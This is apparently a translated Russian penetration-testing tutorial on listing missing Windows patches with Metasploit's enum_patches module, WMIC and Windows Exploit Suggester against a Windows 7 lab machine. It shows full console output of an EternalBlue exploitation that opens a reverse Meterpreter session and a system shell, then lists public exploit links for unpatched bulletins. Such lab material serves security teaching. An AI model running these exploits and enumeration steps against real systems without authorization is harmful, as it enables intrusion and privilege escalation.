[*]

Ни в одной операционной системе нет такого большого количества уязвимостей как в Windows, и для исправления проблем зачастую приходится выпускать патчи в спешке

a


Ни в одной операционной системе нет такого большого количества уязвимостей как в Windows, и для исправления проблем зачастую приходится выпускать патчи в спешке. С точки зрения атакующего понимание, какие патчи присутствуют системе, может стать решающим фактором успеха при эксплуатации брешей и проникновении в систему. В этой статье мы рассмотрим три метода для поиска патчей, установленных в системе: Metasploit, WMIC и Windows Exploit Suggester.


В Metasploit будет использоваться пост-модуль для поиска отсутствующих патчей. В случае с WMIC будут запускаться команды напрямую в шелле системы для просмотра патчей. При помощи Windows Exploit Suggester мы будем сравнивать патчи, установленные в системе, с базой данных уязвимостей. В качестве атакующей системы будет использоваться Kali Linux, атакуемой – непропатченная версия Windows 7.


Метод 1: Metasploit


В терминале запускаем команду msfconsole.


~# msfconsole

[-] ***rting the Metasploit Framework console.../
[-] * WARNING: No database support: No database YAML file
[-] ***

. .
.

dBBBBBBb dBBBP dBBBBBBP dBBBBBb . o
' dB' BBP
dB'dB'dB' dBBP dBP dBP BB
dB'dB'dB' dBP dBP dBP BB
dB'dB'dB' dBBBBP dBP dBBBBBBB

dBBBBBP dBBBBBb dBP dBBBBP dBP dBBBBBBP
. . dB' dBP dB'.BP
| dBP dBBBB' dBP dB'.BP dBP dBP
--o-- dBP dBP dBP dB'.BP dBP dBP
| dBBBBP dBP dBBBBP dBBBBP dBP dBP

.
.
o To boldly go where no
shell has gone before

=[ metasploit v5.0.20-dev ]
+ -- --=[ 1886 exploits - 1065 auxiliary - 328 post ]
+ -- --=[ 546 payloads - 44 encoders - 10 nops ]
+ -- --=[ 2 evasion ]

msf5 >


Для запуска пост-модуля нам нужно скомпрометировать целевую систему и получить meterpreter-сессию. Поскольку мы имеем дело с непропатченной версией Windows 7, то можем выполнить быструю эксплуатацию при помощи EternalBlue.


Загружаем соответствующий модуль при помощи команды use:


msf5 > use exploit/windows/smb/ms17_010_eternalblue


Настраиваем нужные опции и выполняем команду run для запуска эксплоита:


msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.0.1:1337
[+] 10.10.0.104:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.0.104:445 - Connecting to target for exploitation.
[+] 10.10.0.104:445 - Connection established for exploitation.
[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.0.104:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.0.104:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.0.104:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.104:445 - Starting non-paged pool grooming
[+] 10.10.0.104:445 - Sending SMBv2 buffers
[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.104:445 - Sending final SMBv2 buffers.
[*] 10.10.0.104:445 - Sending last fragment of exploit packet!
[*] 10.10.0.104:445 - Receiving response from exploit packet
[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.104:445 - Sending egg to corrupted connection.
[*] 10.10.0.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.104
[*] Meterpreter session 1 opened (10.10.0.1:1337 -> 10.10.0.104:49228) at 2019-10-27 12:28:32 -0500
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >


У нас появилась meterpreter-сессия в целевой системе. Поскольку пост-модули работают в текущей сессии в фоновом режиме, нам нужно перевести сессию в этот режим.

meterpreter > background [*] Backgrounding session 1...


Теперь загружаем модуль при помощи команды use:

msf5 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/enum_patches


Если ввести команду options, Metasploit покажет все доступные настройки для текущего модуля:


msf5 post(windows/gather/enum_patches) > run [+] KB2871997 is missing [+] KB2928120 is missing [+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86) [+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008 [+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2 [+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity [+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1 [+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1 [*] Post module execution completed

Все, что нам нужно – установить номер сессии. При необходимости можно через запятую указать перечень дополнительных патчей для поиска. Однако сейчас подойдет стандартный набор.


При помощи команды set устанавливаем номер сессии, которая находится в фоновом режиме:

msf5 post(windows/gather/enum_patches) > set session 1
session => 1


Теперь вводим команду run для запуска модуля:

msf5 post(windows/gather/enum_patches) > run [+] KB2871997 is missing[+] KB2928120 is missing[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)[+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008[+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2[+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity[+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1[+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1[*] Post module execution completed


После отработки модуля видно, что первые два патча не установлены. Кроме того, отображены некоторые дополнительные потенциальные уязвимости и связанные патчи.


Метод 2: WMIC


WMIC (Windows Management Instrumentation Command-Line) представляет собой утилиту для выполнения WMI-операций в ОС Windows. В некотором смысле этот инструмент является командной оболочкой и может работать в интерактивном и неинтерактивном режиме.


Вначале нам нужен шелл в целевой системе. Используя ранее полученную meterpreter-сессию, подключаемся к системному шеллу.


Запускаем команду sessions с флагом i для взаимодействия с сессией:

msf5 > sessions -i 1 [*] Starting interaction with 1... meterpreter >


В появившемся приглашении Meterpreter вводим команду shell и попадаем в системный шелл:

meterpreter > shell Process 2452 created.Channel 1 created.Microsoft Windows [Version 6.1.7601]Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:Windowssystem32>


Теперь мы можем воспользоваться утилитой WMIC для просмотра установленных патчей. Вводим команду wmic qfe list и получаем список QFE-патчей (quick fix engineering), присутствующих в системе:

C:Windowssystem32> wmic qfe list wmic qfe listCaption CSName Description FixComments HotFixID InstallDate InstalledBy InstalledOn Name ServicePackInEffect Statushttp://support.microsoft.com/?kbid=2534111 W02 Hotfix KB2534111 2/25/2019http://support.microsoft.com/?kbid=976902 W02 Update KB976902 W02Administrator 11/21/2010


По каждом патчу выводится ID, описание, информация об установке и URL. Мы также можем добавить к нашей команде слово full для получения сведений в немного другом формате:

C:Windowssystem32> wmic qfe list full wmic qfe list full Caption=http://support.microsoft.com/?kbid=2534111CSName=W02Description=HotfixFixComments=HotFixID=KB2534111InstallDate=InstalledBy=InstalledOn=2/25/2019Name=ServicePackInEffect=Status= Caption=http://support.microsoft.com/?kbid=976902CSName=W02Description=UpdateFixComments=HotFixID=KB976902InstallDate=InstalledBy=W02AdministratorInstalledOn=11/21/2010Name=ServicePackInEffect=Status=


Этот метод очень удобен, поскольку не требует ничего, кроме базового шелла в целевой системе для запуска WMIC.


Метод 3: Windows Exploit Suggester


Последний инструмент в нашем обзоре – Windows Exploit Suggester. Эта утилита, написанная на Python, сравнивает патчи, установленные в целевой системе с базой данных уязвимостей компании Microsoft. Все операции выполняются на нашей локальной машине.


Windows Exploit Suggester требует результатов отработки команды systeminfo в целевой системе для последующего сравнения с базой данных. Поскольку у нас все еще есть шелл, запускаем следующую команду:

C:Windowssystem32> systeminfo systeminfo Host Name: W02OS Name: Microsoft Windows 7 ProfessionalOS Version: 6.1.7601 Service Pack 1 Build 7601OS Manufacturer: Microsoft CorporationOS Configuration: Member WorkstationOS Build Type: Multiprocessor FreeRegistered Owner: admin2Registered Organization:Product ID: 00371-868-0000007-85704Original Install Date: 2/25/2019, 2:04:46 PMSystem Boot Time: 10/27/2019, 1:48:26 PMSystem Manufacturer: QEMUSystem Model: Standard PC (i440FX + PIIX, 1996)System Type: x64-based PCProcessor(s): 1 Processor(s) Installed. [01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~2533 MhzBIOS Version: SeaBIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org, 4/1/2014Windows Directory: C:WindowsSystem Directory: C:Windowssystem32Boot Device: DeviceHarddiskVolume1System Locale: en-us;English (United States)Input Locale: en-us;English (United States)Time Zone: (UTC-06:00) Central Time (US & Canada)Total Physical Memory: 2,047 MBAvailable Physical Memory: 1,461 MBVirtual Memory: Max Size: 4,095 MBVirtual Memory: Available: 3,494 MBVirtual Memory: In Use: 601 MBPage File Location(s): C:pagefile.sysDomain: dlab.envLogon Server: N/AHotfix(s): 2 Hotfix(s) Installed. [01]: KB2534111 [02]: KB976902Network Card(s): 1 NIC(s) Installed. [01]: Intel(R) PRO/1000 MT Network Connection Connection Name: Local Area Connection DHCP Enabled: Yes DHCP Server: 10.10.0.100 IP address(es) [01]: 10.10.0.104 [02]: fe80::104:336c:a632:e39b


Сохраняем полученные результаты в текстовый файл на локальной машине:

~# cat system_info.txt Host Name: W02OS Name: Microsoft Windows 7 ProfessionalOS Version: 6.1.7601 Service Pack 1 Build 7601OS Manufacturer: Microsoft CorporationOS Configuration: Member WorkstationOS Build Type: Multiprocessor FreeRegistered Owner: admin2Registered Organization:Product ID: 00371-868-0000007-85704Original Install Date: 2/25/2019, 2:04:46 PMSystem Boot Time: 10/27/2019, 1:48:26 PMSystem Manufacturer: QEMUSystem Model: Standard PC (i440FX + PIIX, 1996)System Type: x64-based PCProcessor(s): 1 Processor(s) Installed. [01]: Intel64 Family 15 Model 6 Stepping 1 GenuineIntel ~2533 MhzBIOS Version: SeaBIOS rel-1.11.1-0-g0551a4be2c-prebuilt.qemu-project.org, 4/1/2014Windows Directory: C:WindowsSystem Directory: C:Windowssystem32Boot Device: DeviceHarddiskVolume1System Locale: en-us;English (United States)Input Locale: en-us;English (United States)Time Zone: (UTC-06:00) Central Time (US & Canada)Total Physical Memory: 2,047 MBAvailable Physical Memory: 1,461 MBVirtual Memory: Max Size: 4,095 MBVirtual Memory: Available: 3,494 MBVirtual Memory: In Use: 601 MBPage File Location(s): C:pagefile.sysDomain: dlab.envLogon Server: N/AHotfix(s): 2 Hotfix(s) Installed. [01]: KB2534111 [02]: KB976902Network Card(s): 1 NIC(s) Installed. [01]: Intel(R) PRO/1000 MT Network Connection Connection Name: Local Area Connection DHCP Enabled: Yes DHCP Server: 10.10.0.100 IP address(es) [01]: 10.10.0.104 [02]: fe80::104:336c:a632:e39b


Теперь при помощи утилиты wget загружаем скрипт с GitHub:

~# wget https://raw.githubusercontent.com/GDSSecurity/Windows-Exploit-Suggester/master/windows-exploit-suggester.py --2019-10-27 12:38:34-- https://raw.githubusercontent.com/GDSSecurity/Windows-Exploit-Suggester/master/windows-exploit-suggester.pyResolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected.HTTP request sent, awaiting response... 200 OKLength: 69175 (68K) [text/plain]Saving to: ‘windows-exploit-suggester.py’ windows-exploit-suggester.py 100%[======================================================================================================================>] 67.55K --.-KB/s in 0.07s 2019-10-27 12:38:34 (951 KB/s) - ‘windows-exploit-suggester.py’ saved [69175/69175]


Устанавливаем все необходимые зависимости (в нашем случае пакет pythonxlrd).

~# apt-get install python-xlrd Reading package lists... DoneBuilding dependency treeReading state information... DoneThe following NEW packages will be installed: python-xlrd0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.Need to get 104 kB of archives.After this operation, 490 kB of additional disk space will be used.Get:1 http://kali.download/kali kali-rolling/main amd64 python-xlrd all 1.1.0-1 [104 kB]Fetched 104 kB in 1s (144 kB/s)Selecting previously unselected package python-xlrd.(Reading database ... 408990 files and directories currently installed.)Preparing to unpack .../python-xlrd_1.1.0-1_all.deb ...Unpacking python-xlrd (1.1.0-1) ...Setting up python-xlrd (1.1.0-1) ...Processing triggers for man-db (2.8.5-2) ...


Когда все необходимое установленное, нужно сгенерировать базу данные бюллетеней безопасности от Microsoft. Windows Exploit Suggester выполняет эту операцию автоматически, если указать аргумент update:

~# python windows-exploit-suggester.py --update [*] initiating winsploit version 3.3...[+] writing to file 2019-10-27-mssb.xls[*] done


Теперь запускаем утилиту с указанием файлов с информацией от systeminfo и только что сгенерированной базой:

~# python windows-exploit-suggester.py --database 2019-10-27-mssb.xls --systeminfo system_info.txt [*] initiating winsploit version 3.3...[*] database file detected as xls or xlsx based on extension[*] attempting to read from the systeminfo input file


Скрипт возвратит патчи, которые не установленные в целевой системе, вместе с релевантной информацией и ссылками:

[+] systeminfo input file read successfully (ascii)[*] querying database file for potential vulnerabilities[*] comparing the 2 hotfix(es) against the 386 potential bulletins(s) with a database of 137 known exploits[*] there are now 386 remaining vulns[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin[+] windows version identified as 'Windows 7 SP1 64-bit'[*][E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important[*] https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)[*] https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)[*] https://github.com/tinysec/public/tree/master/CVE-2016-7255[*][E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important[*] https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)[*][M] MS16-075: Security Update for Windows SMB Server (3164038) - Important[*] https://github.com/foxglovesec/RottenPotato[*] https://github.com/Kevin-Robertson/Tater[*] https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege[*] https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation[*][E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important[*] https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC[*] https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC[*][E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical[*] https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC[*][E] MS16-059: Security Update for Windows Media Center (3150220) - Important[*] https://www.exploit-db.com/exploits/39805/ -- Microsoft Windows Media Center - .MCL File Processing Remote Code Execution (MS16-059), PoC[*][E] MS16-056: Security Update for Windows Journal (3156761) - Critical[*] https://www.exploit-db.com/exploits/40881/ -- Microsoft Internet Explorer - jscript9 Java­Script­Stack­Walker Memory Corruption (MS15-056)[*] http://blog.skylined.nl/20161206001.html -- MSIE jscript9 Java­Script­Stack­Walker memory corruption ... [M] MS14-012: Cumulative Security Update for Internet Explorer (2925418) - Critical[M] MS14-009: Vulnerabilities in .NET Framework Could Allow Elevation of Privilege (2916607) - Important[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important[M] MS13-097: Cumulative Security Update for Internet Explorer (2898785) - Critical[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical[M] MS13-080: Cumulative Security Update for Internet Explorer (2879017) - Critical[M] MS13-069: Cumulative Security Update for Internet Explorer (2870699) - Critical[M] MS13-059: Cumulative Security Update for Internet Explorer (2862772) - Critical[M] MS13-055: Cumulative Security Update for Internet Explorer (2846071) - Critical[M] MS13-053: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2850851) - Critical[M] MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical[M] MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important[E] MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical[*] http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC[*] http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC[*][*] done


Вероятно, этот метод позволяет получить наиболее достоверную информацию, поскольку при сравнении мы используем обновленную базу данных. Кроме того, здесь возможен удаленный запуск.


Заключение


В этом руководстве мы рассмотрели несколько методов для получения информации о неустановленных патчей на машине с ОС Windows. Вначале мы использовали пост-модуль в Metasploit, потом утилиту WMIC и в конце скрипт Windows Exploit Suggester, написанный на Python. Получение списка патчей чрезвычайно полезно во время атаки, поскольку мы сразу же сужаем количество потенциальных эксплоитов, экономим время и в итоге сильно упрощаем себе жизнь.

[*]
[*]Source link

Write a comment:
*

Your email address will not be published.